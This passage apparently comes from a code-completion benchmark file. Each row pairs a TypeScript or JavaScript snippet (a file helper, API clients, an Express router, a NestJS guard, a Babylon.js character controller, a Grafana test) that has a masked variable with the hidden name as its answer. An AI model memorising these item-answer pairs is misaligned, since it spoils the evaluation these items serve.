        offset = offset || 0;

        // Get the chunk to read and write.
        const readWholeFile = offset === 0 && CoreFileProvider.CHUNK_SIZE >= file.size;
        const chunk = readWholeFile ? file : file.slice(offset, Math.min(offset + CoreFileProvider.CHUNK_SIZE, file.size));

        try {
            const fileEntry = await this.fileProvider.writeFileDataInFileChunk(chunk, path, append);

            offset += CoreFileProvider.CHUNK_SIZE;

            onProgress && onProgress({
                lengthComputable: true,
                loaded: offset,
                total: file.size
            });

            if (offset >= file.size) {
                // Done, stop.
                return fileEntry;
            }

            // Read the next chunk.
            return this.writeFileDataInFile(file, path, onProgress, offset, true);
        } catch (error) {
            if (readWholeFile || !error || error.name != 'NotReadableError') {
                return Promise.reject(error);
            }

            // Permission error when reading file in chunks. This usually happens with Google Drive files.
            // Try to read the whole file at once.
            return this.writeBigFileDataInFile(file, path, onProgress);
        }
    }

    /**
     * Writes a big file data into a filesystem file without using chunks.
     * The app can crash when doing this with big files, so this function will try to control the max size that works
     * and warn the user if he's trying to upload a file that is too big.
     *
     * @param file The data to write.
     * @param path Path where to store the data.
     * @param onProgress Function to call on progress.
     * @return Promise resolved with the file.
     */
    protected async writeBigFileDataInFile(file: Blob, path: string, onProgress?: CoreFileProgressFunction): Promise<FileEntry> {
        if (this.maxChunkSize != -1 && file.size >= this.maxChunkSize) {
            // The file size is bigger than the max allowed size. Ask the user to confirm.
            await this.domUtils.showConfirm(this.translate.instant('core.confirmreadfiletoobig'));
        }

        // Store the ""attempt"".
        await this.configProvider.set(this.READ_CHUNK_ATTEMPT_NAME, file.size);

        // Write the whole file.
        const fileEntry = await this.fileProvider.writeFileDataInFileChunk(file, path, false);

        // Success, remove the attempt and increase the max chunk size if needed.
        await this.configProvider.delete(this.READ_CHUNK_ATTEMPT_NAME);

        if (file.size > this.maxChunkSize) {
            await this.storeMaxChunkSize(file.size + 1);
        }

        return fileEntry;
    }
}

export class CoreFileHelper extends makeSingleton(CoreFileHelperProvider) {}
",totalSize
272,"import { CreateNoteRequest } from ""./types/createNoteRequest.js"";
import { NoteResponse } from ""./types/noteResponse.js"";
import { PaginatedResponse } from ""./types/paginatedResponse.js"";
import { UpdateNoteRequest } from ""./types/updateNoteRequest.js"";

export interface ApiInterface {
  getNotes(
    pageNumber: number,
    pageSize: number,
  ): Promise<PaginatedResponse<NoteResponse>>;
  getNote(noteId: string): Promise<NoteResponse>;
  updateNote(noteId: string, request: UpdateNoteRequest): Promise<void>;
  createNote(request: CreateNoteRequest): Promise<NoteResponse>;
  deleteNote(noteId: string): Promise<void>;
}

export class Api implements ApiInterface {
  private readonly API_BASE_URL: string;

  constructor( [MASK] : string) {
    this.API_BASE_URL = `${ [MASK] }/notes`;
  }

  async getNotes(
    pageNumber: number,
    pageSize: number,
  ): Promise<PaginatedResponse<NoteResponse>> {
    const response = await fetch(
      `${this.API_BASE_URL}?pageNumber=${pageNumber}&pageSize=${pageSize}`,
    );
    const data = await response.json();
    return data as PaginatedResponse<NoteResponse>;
  }

  async getNote(noteId: string): Promise<NoteResponse> {
    const response = await fetch(`${this.API_BASE_URL}/${noteId}`);
    const data = await response.json();
    return data as NoteResponse;
  }

  async updateNote(noteId: string, request: UpdateNoteRequest): Promise<void> {
    await fetch(`${this.API_BASE_URL}/${noteId}`, {
      method: ""PUT"",
      body: JSON.stringify(request),
      headers: {
        ""Content-Type"": ""application/json"",
      },
    });
  }

  async createNote(request: CreateNoteRequest): Promise<NoteResponse> {
    const response = await fetch(this.API_BASE_URL, {
      method: ""POST"",
      body: JSON.stringify(request),
      headers: {
        ""Content-Type"": ""application/json"",
      },
    });
    const data = await response.json();
    return data as NoteResponse;
  }

  async deleteNote(noteId: string): Promise<void> {
    await fetch(`${this.API_BASE_URL}/${noteId}`, {
      method: ""DELETE"",
    });
  }
}
",baseUrl
273,"import ax, { AxiosError } from ""axios"";
import { getSession, signOut } from ""next-auth/react"";

const axios = ax.create({
  baseURL: process.env.NEXT_PUBLIC_BASE_URL,
  headers: {
    post: {
      ""Content-Type"": ""application/json"",
    },
  },
});

axios.interceptors.request.use(async (request) => {
  const  [MASK]  = axios.defaults.headers.token;

  // if token header not set
  if (!Boolean( [MASK] )) {
    const session = await getSession({
      req: request,
    });

    if (session) {
      const bearerToken = `Bearer ${session.user.userToken}`;
      request.headers.Authorization = bearerToken;
      axios.defaults.headers.Authorization = bearerToken;
    }
  }

  return request;
});

axios.interceptors.response.use(undefined, async (error: unknown) => {
  if (error instanceof AxiosError && error.response?.status === 403) {
    await signOut({
      callbackUrl: ""/signin"",
      redirect: true,
    });
  }

  throw error;
});

export { axios };
",tokenDefault
274,"import { endpoint,account,namespace,expiration,xAuthEmail,xAuthKey } from ""../env""

const headers = {
  ""X-Auth-Email"": xAuthEmail,
  ""X-Auth-Key"": xAuthKey,
  'Access-Control-Allow-Origin': '*',
  ""Content-Type"": ""application/json""
}
const keyURL = endpoint + account + namespace + ""_noKeys"" + expiration

/**
 * This function deletes a specific post off Cloudflare KV
 * It uses the runtime API since concurrent deletion will still lead to deletion of that key
 * @param request 
 * @returns 
 */
const delPost = async (request: any) => {
  const postId = request.params.id // retrieve id parameter from URL using itty router 
  const  [MASK]  = JSON.stringify(await POSTS_KV.get(postId))
  if ( [MASK]  != JSON.stringify(null)) {
    // delete kv
    await POSTS_KV.delete(postId)

    // update no of keys using HTTPS to prevent concurrent access
    const keyOptions = {
      method: 'PUT',
      body: JSON.stringify(Number(await POSTS_KV.get(""_noKeys""))-1),
      headers: headers
    }
    await fetch(keyURL, keyOptions)
    
    return new Response('Successfully removed key-value:\n' + postId + "" : ""+  [MASK] )
  } 
  return new Response('No such key.')
}

export default delPost",existing
275,"// Arquivo: router.ts

import { Router } from ""express"";
import { isValidateObjectRequest } from './helpers/validate';
import { loadContatos, saveContato } from './helpers/load-data';

const router = Router();

router.get('/', function (req, res) {
    res.send({
        api_name: 'api-contatos',
        descricao: 'API para gestão de contatos',
        status: 'OK',
    });
});

router.get('/sobre', function (req, res) {
    res.send({
        name: '<NAME>',
        email: '<EMAIL>',
        github: 'github.com/joaoteixeira'
    });
});

router.post('/contato', function (req, res) {
    let ok = true;
    let  [MASK]  = ""Contato salvo com sucesso!"";

    const inputs = [
        {
            name: ""nome"",
            message: ""A propriedade [nome] não deve estar em indefinida/vazio!""
        },
        {
            name: ""email"",
            message: ""A propriedade [email] não deve estar em indefinida/vazio!""
        }
    ];

    const checkValidate = isValidateObjectRequest(req, inputs);

    if (Array.isArray(checkValidate)) {
        ok = false;

         [MASK]  = checkValidate.join(', ');
    }

    if (ok) {
        saveContato(req.body);
    }


    res.send({
        success: ok,
        message:  [MASK] 
    })
});

router.get('/contato', function (req, res) {
    const contatos = loadContatos();

    res.send(contatos);
});

export default router;",mensagem
276,"import { CanActivate, ExecutionContext, HttpStatus, Injectable } from '@nestjs/common';
import { Reflector } from '@nestjs/core';
import { JwtService } from '@nestjs/jwt';
import { Request } from 'express';
import appConfig from '../../config/auth.config';
import { IS_PUBLIC_KEY } from '../helpers/skipAuth';
import * as SYS_MSG from '../constant/SystemMessages';
import { CustomHttpException } from '../helpers/custom-http-filter';
import { AuthGuard } from './auth.guard';

@Injectable()
export class AdminGuard implements CanActivate {
  constructor(
    private jwtService: JwtService,
    private reflector: Reflector,
    private authGuard: AuthGuard
  ) {}

  async canActivate(context: ExecutionContext): Promise<boolean> {
    const request = context.switchToHttp().getRequest();
    const token = this.authGuard.extractTokenFromRequest(request);

    if (!token) {
      throw new CustomHttpException(SYS_MSG.UNAUTHENTICATED_MESSAGE, HttpStatus.UNAUTHORIZED);
    }

    const  [MASK]  = request.user;

    if (! [MASK]  ||  [MASK] .role !== 'admin') {
      throw new CustomHttpException(SYS_MSG.UNAUTHORIZED_MESSAGE, HttpStatus.FORBIDDEN);
    }

    return true;


    return true;
  }
}",payload
277,"import type { AbstractMesh } from '@babylonjs/core/Meshes/abstractMesh'
import { PhysicsAggregate } from '@babylonjs/core/Physics/v2/physicsAggregate'
import { moveTowards } from '../utils/utils.ts'
import type { Scene } from '@babylonjs/core/scene'
import type { AnimationGroup } from '@babylonjs/core/Animations/animationGroup'
import type { ArcRotateCamera } from '@babylonjs/core/Cameras/arcRotateCamera'
import { MeshBuilder } from '@babylonjs/core/Meshes/meshBuilder'
import { Quaternion, Vector3 } from '@babylonjs/core/Maths/math.vector'
import { PhysicsShapeType } from '@babylonjs/core/Physics/v2/IPhysicsEnginePlugin'
import { Ingredient } from '@shared/types/enums.ts'
import type { IngredientLoader } from '@client/game/IngredientLoader.ts'
import { Mesh } from '@babylonjs/core/Meshes'
import { CharacterState } from './CharacterState'
import type { AudioManager } from '@client/game/managers/AudioManager.ts'
import { TransformNode } from '@babylonjs/core/Meshes/transformNode'
import { INGREDIENT_VISUAL_CONFIG, type IngredientVisualContextConfig } from '@shared/visualConfigs.ts'
import { getItemDefinition } from '@shared/items.ts'
import { DynamicTexture } from '@babylonjs/core/Materials/Textures/dynamicTexture'
import { StandardMaterial } from '@babylonjs/core/Materials/standardMaterial'
import { Color3 } from '@babylonjs/core/Maths/math.color'
import { Texture } from '@babylonjs/core/Materials/Textures/texture'

export class CharacterController {
  protected readonly audioManager: AudioManager
  protected readonly ingredientLoader: IngredientLoader
  private currentIngredientMesh?: Mesh | null = undefined
  private plateMesh?: Mesh | null = undefined
  readonly scene: Scene
  readonly model: AbstractMesh
  readonly physicsAggregate: PhysicsAggregate
  readonly moveSpeed = 1.8
  readonly rotationSpeed = 6
  readonly animationBlendSpeed = 4.0
  readonly jumpForce = 5.0
  readonly walkAnim: AnimationGroup
  readonly idleAnim: AnimationGroup
  readonly jumpAnim: AnimationGroup
  readonly landingAnim: AnimationGroup
  readonly fallingAnim: AnimationGroup
  readonly sambaDanceAnim: AnimationGroup
  readonly nonIdleAnimations: AnimationGroup[]
  readonly thirdPersonCamera?: ArcRotateCamera
  protected targetAnim: AnimationGroup
  protected readonly impostorMesh: AbstractMesh
  protected currentState: CharacterState = CharacterState.IDLE
  protected ingredient: Ingredient = Ingredient.None
  protected holdingPlate: boolean = false
  protected readonly holdAttachmentPoint: TransformNode

  protected readonly nameTagAttachmentPoint: TransformNode
  private usernamePlane: Mesh | null = null
  private usernameTexture: DynamicTexture | null = null
  private usernameMaterial: StandardMaterial | null = null
  private currentDisplayedUsername: string = ''

  protected constructor(
    characterMesh: AbstractMesh,
    scene: Scene,
    ingredientLoader: IngredientLoader,
    animationGroups: AnimationGroup[],
    audioManager: AudioManager,
  ) {
    this.scene = scene
    this.ingredientLoader = ingredientLoader
    this.audioManager = audioManager

    this.impostorMesh = MeshBuilder.CreateCapsule('CharacterTransform', { height: 1.5, radius: 0.3 }, scene)
    this.impostorMesh.visibility = 0
    this.impostorMesh.rotationQuaternion = Quaternion.Identity()
    this.impostorMesh.position.y = 1
    this.impostorMesh.position.x = 0
    this.impostorMesh.position.z = 3.5
    this.impostorMesh.isPickable = false

    this.holdAttachmentPoint = new TransformNode('holdAttachmentPoint', scene)
    this.holdAttachmentPoint.parent = this.impostorMesh
    this.holdAttachmentPoint.position = new Vector3(0, -0.2, -0.4) // Adjust as needed
    this.holdAttachmentPoint.rotationQuaternion = Quaternion.Identity()
    this.holdAttachmentPoint.scaling = Vector3.One() // Ensure it doesn't scale

    this.nameTagAttachmentPoint = new TransformNode('nameTagAttachmentPoint', scene)
    this.nameTagAttachmentPoint.parent = this.impostorMesh
    this.nameTagAttachmentPoint.position = new Vector3(0, 1.0, 0)

    this.model = characterMesh
    this.model.parent = this.impostorMesh
    this.model.rotate(Vector3.Up(), Math.PI)
    this.model.position.y = -0.75
    characterMesh.isPickable = false

    // Make all submeshes unselectable
    this.model.getChildMeshes().forEach((mesh) => {
      mesh.isPickable = false
      mesh.receiveShadows = true
    })

    const walkAnimGroup = animationGroups.find((ag) => ag.name === 'Walking')
    if (walkAnimGroup === undefined) throw new Error(""'Walking' animation not found"")
    this.walkAnim = walkAnimGroup
    this.walkAnim.weight = 0

    const sambaDanceAnimGroup = animationGroups.find((ag) => ag.name === 'SambaDancing')
    if (sambaDanceAnimGroup === undefined) throw new Error(""'SambaDancing' animation not found"")
    this.sambaDanceAnim = sambaDanceAnimGroup
    this.sambaDanceAnim.weight = 0

    const jumpAnimGroup = animationGroups.find((ag) => ag.name === 'Jump')
    if (jumpAnimGroup === undefined) throw new Error(""'Jumping' animation not found"")
    this.jumpAnim = jumpAnimGroup
    this.jumpAnim.weight = 0

    const fallingAnimGroup = animationGroups.find((ag) => ag.name === 'Fall')
    if (fallingAnimGroup === undefined) throw new Error(""'Falling' animation not found"")
    this.fallingAnim = fallingAnimGroup
    this.fallingAnim.weight = 0

    const landingAnimGroup = animationGroups.find((ag) => ag.name === 'Land')
    if (landingAnimGroup === undefined) throw new Error(""'Landing' animation not found"")
    this.landingAnim = landingAnimGroup
    this.landingAnim.weight = 0
    this.landingAnim.loopAnimation = false

    const idleAnimGroup = animationGroups.find((ag) => ag.name === 'Idle')
    if (idleAnimGroup === undefined) throw new Error(""'Idle' animation not found"")
    this.idleAnim = idleAnimGroup
    this.idleAnim.weight = 1
    this.idleAnim.play(true)

    this.targetAnim = this.idleAnim
    this.nonIdleAnimations = [this.walkAnim, this.sambaDanceAnim, this.jumpAnim, this.fallingAnim, this.landingAnim]

    this.physicsAggregate = new PhysicsAggregate(this.getTransform(), PhysicsShapeType.CAPSULE, {
      mass: 1,
      friction: 0.5,
    })

    this.physicsAggregate.body.setMassProperties({ inertia: Vector3.ZeroReadOnly })
    this.physicsAggregate.body.setAngularDamping(100)
    this.physicsAggregate.body.setLinearDamping(10)
  }

  private clearHeldItemVisuals(): void {
    if (this.currentIngredientMesh) {
      this.currentIngredientMesh.dispose()
      this.currentIngredientMesh = undefined
    }
    if (this.plateMesh) {
      this.plateMesh.dispose()
      this.plateMesh = undefined
    }
  }

  private updateHeldItemVisuals(): void {
    this.clearHeldItemVisuals() // Clear previous visuals

    const plateHoldingConfig = INGREDIENT_VISUAL_CONFIG[Ingredient.Plate]
    const heldIngredientConfig = INGREDIENT_VISUAL_CONFIG[this.ingredient]
    const heldIngredientDef = getItemDefinition(this.ingredient)

    const defaultScale = new Vector3(0.5, 0.5, 0.5)

    // --- 1. Handle Plate ---
    if (this.holdingPlate) {
      this.plateMesh = this.ingredientLoader.getIngredientMesh(Ingredient.Plate)
      if (this.plateMesh) {
        // Parent plate to the attachment point
        this.plateMesh.parent = this.holdAttachmentPoint

        // Apply config or defaults to the plate
        const plateScale = plateHoldingConfig?.scale
          ? new Vector3(plateHoldingConfig.scale.x, plateHoldingConfig.scale.y, plateHoldingConfig.scale.z)
          : defaultScale
        this.plateMesh.scaling = plateScale

        const contextConfig = plateHoldingConfig?.hand
        const defaultPlatePos = Vector3.Zero()

        this.plateMesh.position = contextConfig?.positionOffset
          ? new Vector3(contextConfig.positionOffset.x, contextConfig.positionOffset.y, contextConfig.positionOffset.z)
          : defaultPlatePos

        this.plateMesh.rotationQuaternion = contextConfig?.rotationOffset
          ? new Quaternion(
              contextConfig.rotationOffset.x,
              contextConfig.rotationOffset.y,
              contextConfig.rotationOffset.z,
              contextConfig.rotationOffset.w,
            )
          : Quaternion.Identity()

        this.plateMesh.isPickable = false
        this.plateMesh.getChildMeshes().forEach((m) => (m.isPickable = false))
      }
    }

    // --- 2. Handle Ingredient ---
    if (this.ingredient !== Ingredient.None && heldIngredientDef) {
      this.currentIngredientMesh = this.ingredientLoader.getIngredientMesh(this.ingredient)
      if (this.currentIngredientMesh) {
        let targetParent: TransformNode | Mesh = this.holdAttachmentPoint
        let contextConfig: IngredientVisualContextConfig | undefined
        let basePosition: Vector3

        if (this.holdingPlate && this.plateMesh) {
          targetParent = this.plateMesh
          contextConfig = heldIngredientConfig?.onPlate
          basePosition = new Vector3(0, 0.1, 0)
        } else {
          targetParent = this.holdAttachmentPoint
          contextConfig = heldIngredientConfig?.hand
          basePosition = new Vector3(0, -0.1, 0.1)
        }

        this.currentIngredientMesh.parent = targetParent

        let ingredientScale = heldIngredientConfig?.scale
          ? new Vector3(heldIngredientConfig.scale.x, heldIngredientConfig.scale.y, heldIngredientConfig.scale.z)
          : defaultScale

        if (this.holdingPlate && this.plateMesh) {
          ingredientScale = new Vector3(ingredientScale.x / 0.5, ingredientScale.y / 0.5, ingredientScale.z / 0.5)
        }

        this.currentIngredientMesh.scaling = ingredientScale

        const positionOffset = contextConfig?.positionOffset
          ? new Vector3(contextConfig.positionOffset.x, contextConfig.positionOffset.y, contextConfig.positionOffset.z)
          : Vector3.Zero()
        this.currentIngredientMesh.position = basePosition.add(positionOffset)

        this.currentIngredientMesh.rotationQuaternion = contextConfig?.rotationOffset
          ? new Quaternion(
              contextConfig.rotationOffset.x,
              contextConfig.rotationOffset.y,
              contextConfig.rotationOffset.z,
              contextConfig.rotationOffset.w,
            )
          : Quaternion.Identity()

        this.currentIngredientMesh.isPickable = false
        this.currentIngredientMesh.getChildMeshes().forEach((m) => (m.isPickable = false))
      }
    }
  }

  dropIngredient() {
    this.ingredient = Ingredient.None
    this.updateHeldItemVisuals()
  }

  dropPlate() {
    if (!this.holdingPlate) return
    this.holdingPlate = false
    // If dropping plate also drops ingredient on it
    if (this.ingredient !== Ingredient.None) {
      const itemDef = getItemDefinition(this.ingredient)
      if (itemDef?.isFinal) {
        // Only results sit on plates typically
        this.ingredient = Ingredient.None
      }
    }
    this.updateHeldItemVisuals() // Update visuals after dropping
  }

  pickupIngredient(ingredient: Ingredient) {
    if (this.ingredient) {
      return
    }

    const ingredient_def = getItemDefinition(ingredient)

    if (this.holdingPlate && !ingredient_def?.isFinal) {
      return
    }

    this.forceSetIngredient(ingredient)
  }

  forceSetIngredient(ingredient: Ingredient) {
    if (this.ingredient === ingredient) return
    this.ingredient = ingredient
    this.updateHeldItemVisuals()
  }

  pickupPlate() {
    const currentIngredient = this.ingredient
    const currentIngredientIsFinal = currentIngredient !== Ingredient.None && !!getItemDefinition(currentIngredient)?.isFinal
    if (currentIngredient !== Ingredient.None && !currentIngredientIsFinal) {
      console.warn('Client: Cannot pick up plate while holding non-final.')
      return
    }

    this.forcePickupPlate()
  }

  forcePickupPlate() {
    if (this.holdingPlate) return
    this.holdingPlate = true
    this.updateHeldItemVisuals()
  }

  get holdedIngredient() {
    return this.ingredient
  }

  get isHoldingPlate() {
    return this.holdingPlate
  }

  set isHoldingPlate(value: boolean) {
    if (value && !this.holdingPlate) {
      this.pickupPlate()
    } else if (!value && this.holdingPlate) {
      this.dropPlate()
    }
  }

  get position() {
    return this.impostorMesh.position
  }

  get rotation() {
    return this.impostorMesh.rotationQuaternion
  }

  get getTargetAnim() {
    return this.targetAnim
  }

  public getTransform() {
    return this.impostorMesh
  }

  public setPosition(position: Vector3) {
    this.impostorMesh.position = position
  }

  public setRotation(rotation: Quaternion) {
    this.impostorMesh.rotationQuaternion = rotation
  }

  public setRotationY(y: number) {
    this.impostorMesh.rotationQuaternion = Quaternion.RotationAxis(Vector3.Up(), y)
  }

  public update(_deltaSeconds: number): void {
    return
  }

  private _createOrUpdateUsernameDisplay(username: string): void {
    const textureWidth = 512
    const  [MASK]  = 128 // Rectangular for names
    const planeWidth = 1 // Adjust size as needed
    const planeHeight = ( [MASK]  / textureWidth) * planeWidth
    const cornerRadius =  [MASK]  * 0.2

    // --- Dispose existing resources if they exist ---
    this._removeUsernameDisplay()

    // --- Create Dynamic Texture ---
    this.usernameTexture = new DynamicTexture(
      `usernameTexture_${this.impostorMesh.name}`,
      { width: textureWidth, height:  [MASK]  },
      this.scene,
      false, // No mipmaps
      Texture.BILINEAR_SAMPLINGMODE,
    )
    this.usernameTexture.hasAlpha = true

    // --- Draw on Texture ---
    const ctx = this.usernameTexture.getContext() as CanvasRenderingContext2D
    ctx.clearRect(0, 0, textureWidth,  [MASK] )

    // Background (optional, for readability)
    ctx.fillStyle = 'rgba(0, 0, 0, 0.5)' // Semi-transparent black
    ctx.beginPath()
    ctx.roundRect(0, 0, textureWidth,  [MASK] , cornerRadius)
    ctx.fill()

    // Text Style
    ctx.font = `bold ${ [MASK]  * 0.6}px Arial` // Adjust font size based on texture height
    ctx.fillStyle = '#ffe4e6'
    ctx.textAlign = 'center'
    ctx.textBaseline = 'middle'

    // Draw Text
    ctx.fillText(username, textureWidth / 2,  [MASK]  / 2)

    // Update Texture
    this.usernameTexture.update()

    // --- Create Material ---
    this.usernameMaterial = new StandardMaterial(`usernameMat_${this.impostorMesh.name}`, this.scene)
    this.usernameMaterial.diffuseTexture = this.usernameTexture
    this.usernameMaterial.opacityTexture = this.usernameTexture // Use alpha from diffuse
    this.usernameMaterial.useAlphaFromDiffuseTexture = true
    this.usernameMaterial.emissiveColor = Color3.White() // Make it glow slightly / ignore lighting
    this.usernameMaterial.disableLighting = true
    this.usernameMaterial.backFaceCulling = false // Visible from behind

    // --- Create Plane ---
    this.usernamePlane = MeshBuilder.CreatePlane(`usernamePlane_${this.impostorMesh.name}`, { width: planeWidth, height: planeHeight }, this.scene)
    this.usernamePlane.material = this.usernameMaterial
    this.usernamePlane.billboardMode = Mesh.BILLBOARDMODE_ALL // Always face camera
    this.usernamePlane.parent = this.nameTagAttachmentPoint // Attach to the point above head
    this.usernamePlane.position = Vector3.Zero() // Positioned relative to attachment point
    this.usernamePlane.isPickable = false
    this.usernamePlane.renderingGroupId = 1 // Render on top
    this.usernamePlane.setEnabled(true)

    this.currentDisplayedUsername = username
  }

  // Method to remove the username display
  protected _removeUsernameDisplay(): void {
    if (this.usernamePlane) {
      this.usernamePlane.dispose()
      this.usernamePlane = null
    }
    if (this.usernameMaterial) {
      this.usernameMaterial.dispose()
      this.usernameMaterial = null
    }
    if (this.usernameTexture) {
      this.usernameTexture.dispose()
      this.usernameTexture = null
    }
    this.currentDisplayedUsername = ''
  }

  // Public method to set the displayed username
  public setUsernameDisplay(username: string | undefined | null): void {
    const nameToShow = username?.trim() ?? 'Player' // Default to 'Player' if empty/null
    if (nameToShow && nameToShow !== this.currentDisplayedUsername) {
      this._createOrUpdateUsernameDisplay(nameToShow)
    } else if (!nameToShow && this.usernamePlane) {
      this._removeUsernameDisplay()
    }
  }

  public dispose() {
    console.log(`Disposing CharacterController ${this.impostorMesh?.name ?? 'Unknown'}`)

    this._removeUsernameDisplay()
    this.clearHeldItemVisuals()
    this.holdAttachmentPoint.dispose()
    this.nameTagAttachmentPoint.dispose()
    this.impostorMesh.dispose()
    this.model.dispose()
    if (this.physicsAggregate) {
      this.physicsAggregate.dispose()
    }

    this.nonIdleAnimations.forEach((anim) => anim.stop())
    this.idleAnim.stop()
    console.log(`CharacterController ${this.impostorMesh?.name ?? 'Unknown'} disposed.`)
  }

  /**
   * Performs animation blending based on the current state.
   * @param deltaTime Time elapsed since the last frame.
   */
  protected updateAnimations(deltaTime: number): void {
    let targetAnim: AnimationGroup = this.idleAnim
    switch (this.currentState) {
      case CharacterState.IDLE:
        targetAnim = this.idleAnim
        break
      case CharacterState.WALKING:
        targetAnim = this.walkAnim
        break
      case CharacterState.JUMPING:
        targetAnim = this.jumpAnim
        break
      case CharacterState.FALLING:
        targetAnim = this.fallingAnim
        break
      case CharacterState.LANDING:
        targetAnim = this.landingAnim
        break
      case CharacterState.DANCING:
        targetAnim = this.sambaDanceAnim
        break
    }

    this.targetAnim = targetAnim

    let weightSum = 0
    for (const anim of this.nonIdleAnimations) {
      const targetWeight = anim === targetAnim ? 1.0 : 0.0
      anim.weight = moveTowards(anim.weight, targetWeight, this.animationBlendSpeed * deltaTime)

      if (anim === targetAnim && anim.weight > 0.01 && !anim.isPlaying) {
        const shouldLoop = anim === this.fallingAnim || anim === this.walkAnim || anim === this.sambaDanceAnim
        if (!shouldLoop) {
          anim.goToFrame(0) // Ensure non-looping starts at frame 0
        }
        anim.play(shouldLoop)
      } else if (anim !== targetAnim && anim.weight < 0.01) {
        if (anim.isPlaying) {
          anim.pause()
          // Ensure non-looping animations are reset when they fully fade out or are paused
          if (!anim.loopAnimation) {
            anim.goToFrame(0)
          }
        }
      }
      weightSum += anim.weight
    }

    this.idleAnim.weight = moveTowards(this.idleAnim.weight, Math.max(0.0, 1.0 - weightSum), this.animationBlendSpeed * deltaTime)
    if (this.idleAnim.weight > 0.01 && !this.idleAnim.isPlaying) {
      this.idleAnim.play(true)
    } else if (this.idleAnim.weight < 0.01 && this.idleAnim.isPlaying) {
      this.idleAnim.pause()
    }
  }

  /** Helper to check if an animation is visually blended out */
  protected isAnimationFinished(anim: AnimationGroup): boolean {
    // Considered finished if not playing OR weight is very low
    // For non-looping animations, check isPlaying specifically.
    if (!anim.loopAnimation) {
      return !anim.isPlaying && anim.weight < 0.1
    }
    // For looping animations, weight is a better indicator of blend-out
    return anim.weight < 0.1
  }
}
",textureHeight
278,"import { Game } from ""crystal-maze"";
import { memory } from ""crystal-maze/crystal_maze_bg"";

const ACTIONS = [
  ""All off"",
  ""All but self toggle"",
  ""Toggle self"",
  ""On evens"",
  ""Off evens"",
  ""On odds"",
  ""Off odds"",
  ""Toggle ±1"",
  ""Toggle ±2"",
  ""Toggle ±3""
];

const game = Game.new(BigInt(new Date().getTime()));
const SIZE = game.size();

const buttonElements = document
  .getElementById(""leds"")
  .getElementsByTagName(""button"");

const ledsPtr = game.leds();
const leds = new Uint8Array(memory.buffer, ledsPtr, SIZE);
const mappingPtr = game.mapping();
const mapping = new Uint8Array(memory.buffer, mappingPtr, SIZE);

const setLeds = () =>
  leds.forEach((on, i) => {
    buttonElements[i].classList.toggle(""on"", on !== 0);
  });

const displayMapping = () => {
  let  [MASK]  = """";
  const a = ""a"".codePointAt(0);
  for (let i = 0; i < SIZE; i++) {
    const mapped = mapping[i];
     [MASK]  += `${i + 1}: ${String.fromCodePoint(a + mapped)} (${
      ACTIONS[mapped]
    })\n`;
  }
  document.getElementById(""mapping"").textContent =  [MASK] ;
};

for (let i = 0; i < SIZE; i++) {
  const buttonElement = buttonElements[i];
  buttonElement.addEventListener(""click"", () => {
    game.button_down(i);
    setLeds();
  });
}

document.getElementById(""reset"").addEventListener(""click"", () => {
  game.reset();
  setLeds();
  displayMapping();
});

setLeds();
displayMapping();
",displayedMapping
279,"import { FieldType, LoadingState, dateTime } from '@grafana/data';
import { RelativeRangeCache } from 'RelativeRangeRequestCache/RelativeRangeCache';
import { QueryType, SiteWiseTimeOrder } from 'types';
import { generateSiteWiseRequestCacheId } from './cacheIdUtils';

describe('RelativeRangeCache', () => {
  const requestId = 'mock-request-id';
  const range = {
    from: dateTime('2024-05-28T00:00:00Z'),
    to: dateTime('2024-05-28T01:00:00Z'),
    raw: {
      from: 'now-1h',
      to: 'now'
      ,
    }
  };

  const request = {
    requestId,
    interval: '5s',
    intervalMs: 5000,
    range,
    scopedVars: {},
    targets: [
      {
        refId: 'A',
        queryType: QueryType.PropertyValueHistory,
      },
      {
        refId: 'B',
        queryType: QueryType.DescribeAsset,
      },
    ],
    timezone: 'browser',
    app: 'dashboard',
    startTime: 1716858000000,
  };

  const requestDisabledCache = {
    ...request,
    targets: [
      {
        ...request.targets[0],
        clientCache: false,
      },
    ],
  };

  describe('get()', () => {
    it('returns undefined when any query with client cache disabled', () => {
      const cachedQueryInfo = [
        {
          query: {
            queryType: QueryType.PropertyValueHistory,
            refId: 'A',
          },
          dataFrame: {
            name: 'Demo Turbine Asset 1',
            refId: 'A',
            fields: [
              {
                name: 'time',
                type: FieldType.time,
                config: {},
                values: [],
              },
            ],
            length: 0
          },
        },
      ];
      const cacheData = {
        [generateSiteWiseRequestCacheId(requestDisabledCache)]: {
          queries: cachedQueryInfo,
          range,
        },
      };
      const cache = new RelativeRangeCache(new Map(Object.entries(cacheData)));

      expect(cache.get(requestDisabledCache)).toBeUndefined();
    });

    it('returns undefined when there is no cached response', () => {
      const cache = new RelativeRangeCache();

      expect(cache.get(request)).toBeUndefined();
    });

    it('returns starting cached data and time series query to fetch', () => {
      const cachedQueryInfo = [
        {
          query: {
            queryType: QueryType.PropertyValueHistory,
            refId: 'A',
          },
          dataFrame: {
            name: 'Demo Turbine Asset 1',
            refId: 'A',
            fields: [
              {
                name: 'time',
                type: FieldType.time,
                config: {},
                values: [
                  1716854400000,  // 2024-05-28T00:00:00Z
                  1716854400001,  // 2024-05-28T00:15:00Z + 1ms
                  1716855300000,  // 2024-05-28T00:15:00Z
                  1716855300001,  // 2024-05-28T00:15:00Z + 1ms
                  1716857100000,  // 2024-05-28T00:45:00Z
                  1716857100001,  // 2024-05-28T00:45:00Z + 1ms
                ],
              },
              {
                name: 'RotationsPerSecond',
                type: FieldType.number,
                config: {
                  unit: 'RPS'
                },
                values: [0,1,2,3,4,5],
              },
            ],
            length: 6
          },
        },
        {
          query: {
            queryType: QueryType.ListAssociatedAssets,
            refId: 'B',
          },
          dataFrame: {
            name: 'child',
            refId: 'B',
            fields: [
              {
                  name: 'name',
                  type: FieldType.string,
                  config: {},
                  values: [
                    'child'
                  ],
              },
            ],
            length: 1
          },
        }
      ];
      const expectedDataFrames = [
        {
          name: 'Demo Turbine Asset 1',
          refId: 'A',
          fields: [
            {
              name: 'time',
              type: FieldType.time,
              config: {},
              values: [
                1716854400001,  // 2024-05-28T00:15:00Z + 1ms
                1716855300000,  // 2024-05-28T00:15:00Z
                1716855300001,  // 2024-05-28T00:15:00Z + 1ms
                1716857100000,  // 2024-05-28T00:45:00Z
              ],
            },
            {
              name: 'RotationsPerSecond',
              type: FieldType.number,
              config: {
                unit: 'RPS'
              },
              values: [1,2,3,4],
            },
          ],
          length: 4
        },
        {
          name: 'child',
          refId: 'B',
          fields: [
            {
                name: 'name',
                type: FieldType.string,
                config: {},
                values: [
                  'child'
                ],
            },
          ],
          length: 1
        },
      ];

      const cacheData = {
        [generateSiteWiseRequestCacheId(request)]: {
